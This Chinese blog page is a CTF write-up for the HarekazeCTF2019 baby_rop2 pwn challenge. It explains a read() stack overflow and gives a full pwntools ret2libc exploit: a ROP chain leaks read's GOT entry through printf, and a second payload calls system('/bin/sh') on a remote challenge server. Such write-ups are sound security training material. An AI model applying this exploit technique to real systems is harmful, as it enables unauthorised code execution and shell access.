当前位置: 首页 > news >正文

[HarekazeCTF2019]baby_rop2

首先检查一下文件的保护措施
image
在用ida打开看一下
image
这里很明显read在进行读取数据时有栈溢出
然后看一下文件没有后门函数,也没有binsh,那就是libc泄露了
这里可以调用printf进行泄露,但注意这里不能直接打印printf的got表,因为printf需要对格式化字符串进行解析,所以依赖其自身
但是在这里可以泄露read在got表中的值

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",26789)
elf=ELF("./babyrop2")
printf_plt=elf.plt["printf"]
read_got=elf.got["read"]
main=elf.symbols["main"]
pop_rdi_ret=0x400733
pop_rsi_r15_ret=0x400731
ret=0x4004d1
format_str=0x400770
io.recvuntil(b"name? ")
payload1=b'A'*(0x20+8)+p64(pop_rdi_ret)+p64(format_str)+p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
io.sendline(payload1)
io.recvuntil(b"\n")
io.recvuntil(b", ")
read_addr=u64(io.recv(6).ljust(8,b"\x00"))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
io.recvuntil(b"name? ")
payload2=b"A"*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()
http://www.hskmm.com/?act=detail&tid=28989

相关文章:

  • 开个视频网站很烧钱吧
  • 13. Canvas画布
  • 预训练相关的一些概念
  • 2025/10/11 模拟赛总结 - sb
  • 分布式训练的一些知识
  • Visual Studio 2013 Update 4 中文版安装步骤(带TFS拥护)附安装包​
  • 排列
  • 白纷纷副
  • 低秩适配器(LoRA)
  • ROC曲线
  • 10.12~10.18随笔
  • 面向对象的题目
  • P11229 [CSP-J 2024] 小木棍题解
  • [HZOI] CSP-S模拟29
  • 初识pytorch:数据标准化及数据增强的transforms
  • 谈程序员如何做好业务
  • 10.11 CSP-S模拟29 改题记录
  • 二三阶行列式
  • 2025 年 10 月 8 日 语文作业
  • CHAR与VARCHAR深度解析:MySQL字符类型选择指南与性能对比
  • vivo霸榜背后:以技术打赢用户保卫战
  • 国庆期间做题记录
  • 02020508 EF Core高级08-表达式树、Expression和委托的关系、查看表达式树结构、AST、手动创建表示树、工厂方法
  • UnitTask中的Forget()与 CTS
  • commons-net - 详解
  • 12 种 Pandas 测试技巧,让数据处理少踩坑
  • 02020505 EF Core高级05-实体的5种状态、EntityEntry、AsNoTracking、实体状态跟踪
  • securityCTF 2025 pwn方向题解
  • 02020507 EF Core高级07-悲观并发控制、乐观并发控制、EF Core连接MySQL、RowVersion
  • linux防火墙操作命令